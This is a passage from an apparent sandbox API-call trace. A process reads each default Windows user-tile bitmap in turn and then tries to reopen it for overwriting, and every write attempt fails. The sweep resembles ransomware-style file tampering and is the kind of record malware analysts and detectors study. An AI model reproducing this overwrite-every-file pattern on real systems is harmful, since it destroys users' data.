(normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile11.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.526] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile12.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.526] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.526] ReadFile (in: hFile=0x1d8, lpBuffer=0x2ab4268, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x2ab4268*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.529] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile12.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile12.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.531] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile13.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.531] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xbeb8 [0114.533] ReadFile (in: hFile=0x1d8, lpBuffer=0x28ce378, nNumberOfBytesToRead=0xbeb8, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x28ce378*, lpNumberOfBytesRead=0x1ae488*=0xbeb8, lpOverlapped=0x0) returned 1 [0114.535] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile13.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile13.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.536] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile14.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.537] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.537] ReadFile (in: hFile=0x1d8, lpBuffer=0x28e7428, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x28e7428*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.539] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile14.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile14.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.540] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile15.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.541] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.541] ReadFile (in: hFile=0x1d8, lpBuffer=0x29007d8, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x29007d8*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.543] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile15.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.544] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile16.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.544] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.544] ReadFile (in: hFile=0x1d8, lpBuffer=0x2919b88, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x2919b88*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.546] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile16.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.548] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile17.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.548] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.548] ReadFile (in: hFile=0x1d8, lpBuffer=0x2932f38, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x2932f38*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.550] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile17.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.552] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile18.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.552] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.552] ReadFile (in: hFile=0x1d8, lpBuffer=0x294c2e8, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x294c2e8*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.554] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile18.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.556] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile19.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.556] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.556] ReadFile (in: hFile=0x1d8, lpBuffer=0x2965698, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x2965698*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.558] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile19.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.559] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile20.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.559] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.560] ReadFile (in: hFile=0x1d8, lpBuffer=0x297ea48, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x297ea48*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.562] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile20.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.563] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile21.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.563] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.563] ReadFile (in: hFile=0x1d8, lpBuffer=0x2997df8, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x2997df8*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.565] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile21.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.567] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile22.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.567] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.567] ReadFile (in: hFile=0x1d8, lpBuffer=0x29b11a8, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x29b11a8*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.569] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile22.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.571] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile23.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.571] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.571] ReadFile (in: hFile=0x1d8, lpBuffer=0x29ca558, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x29ca558*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.573] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile23.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.575] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile24.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.575] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.575] ReadFile (in: hFile=0x1d8, lpBuffer=0x29e3908, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x29e3908*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.577] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile24.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.578] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile25.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.578] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.578] ReadFile (in: hFile=0x1d8, lpBuffer=0x29fccb8, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x29fccb8*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.580] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile25.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.582] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile26.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.582] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.582] ReadFile (in: hFile=0x1d8, lpBuffer=0x2a16068, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x2a16068*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.584] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile26.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.586] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile27.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.586] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.586] ReadFile (in: hFile=0x1d8, lpBuffer=0x2a2f418, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x2a2f418*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.588] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile27.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.589] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile28.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.590] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.590] ReadFile (in: hFile=0x1d8, lpBuffer=0x2a487c8, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x2a487c8*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.592] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile28.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.593] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile29.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.593] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.593] ReadFile (in: hFile=0x1d8, lpBuffer=0x2a61b78, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x2a61b78*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.595] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile29.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.597] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile30.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.597] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.597] ReadFile (in: hFile=0x1d8, lpBuffer=0x2a7af28, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x2a7af28*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.599] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile30.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.601] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile31.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.601] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.601] ReadFile (in: hFile=0x1d8, lpBuffer=0x2a942d8, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x2a942d8*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.603] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile31.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.605] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile32.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.605] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.605] ReadFile (in: hFile=0x1d8, lpBuffer=0x2aad688, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x2aad688*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.607] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile32.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.608] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile33.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.609] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.609] ReadFile (in: hFile=0x1d8, lpBuffer=0x2ac6a38, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x2ac6a38*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.615] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile33.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.616] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile34.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0114.616] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0xc038 [0114.616] ReadFile (in: hFile=0x1d8, lpBuffer=0x28e9278, nNumberOfBytesToRead=0xc038, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x28e9278*, lpNumberOfBytesRead=0x1ae488*=0xc038, lpOverlapped=0x0) returned 1 [0114.619] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile34.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0114.620] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default 